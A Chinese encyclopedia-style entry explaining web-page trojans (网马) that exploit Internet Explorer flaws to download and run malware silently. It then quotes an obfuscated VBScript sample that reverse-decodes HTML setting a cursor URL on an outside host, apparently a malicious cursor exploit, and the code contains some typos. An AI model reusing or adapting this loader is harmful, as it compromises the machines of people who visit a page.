网马
网马就是在网页中植入木马，打开网页就运行了木马程序，在不知不觉中中毒。网页木马实际上是一个HTML网页，与其它网页不同的是该网页是黑客精心制作的，用户一旦访问了该网页就会中木马。嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞，让IE在后台自动下载黑客放置在网络上的木马并运行（安装）这个木马，也就是说，这个网页能下载木马到本地并运行（安装）下载到本地电脑上的木马，整个过程都在后台运行，用户一旦打开这个网页，下载过程和运行（安装）过程就自动开始。实际上，为了安全，IE浏览器是禁止自动下载程序特别是运行程序的，但是，IE浏览器存在着一些已知和未知的漏洞，网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。
基本信息
- 中文名
网马
- 性质
网页中植入木马
基本介绍
有朋友会说，打开一个网页，IE浏览器真的能自动下载程序和运行程序吗？如果IE真的能肆无忌惮地任意下载和运行程序，那天下还不大乱。实际上，为了安全，IE浏览器是禁止自动下载程序特别是运行程序的，但是，IE浏览器存在着一些已知和未知的漏洞，网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。
今天在网上闲逛，遇到有人说这个木马很牛X，大家都在研究，我也不知这是何年何月的东西，也许已经落伍了，但反正我是没看见过，就拿来研究一下.觉得这网马写得还不错，至少思路很好.
下边来看看这个网马代码，我加点注释在里边.
引用内容
hu="琳>LMTH/<>YDOB/<；琳>；ⅥD/<>；ⅥD/<；琳>"")'gpj.1/emag/moc.eveanihc.www//:ptth'(lru :ROSRUC""=elyts ⅥD<；琳>YDOB<；琳>DAEH/<>ROTARENEG=eman ""9503.0092.00.6 LMTHSM""=tnetnoc ATEM<；琳>""5gib=tesrahc ;lmth/txet""=tnetnoc epyT-tnetnoC=viuqe-ptth ATEM<；琳>DAEH<>LMTH<；琳"
function UnEncode(cc)
for i = 1 tolen(cc)
if mid(cc,i,1）<> "琳" then
temp = Mid(cc,i,1） + temp
else
temp=vbcrlf&temp
end if
next
UnEncode=temp
end function
document.write(UnEncode(hu))
]]>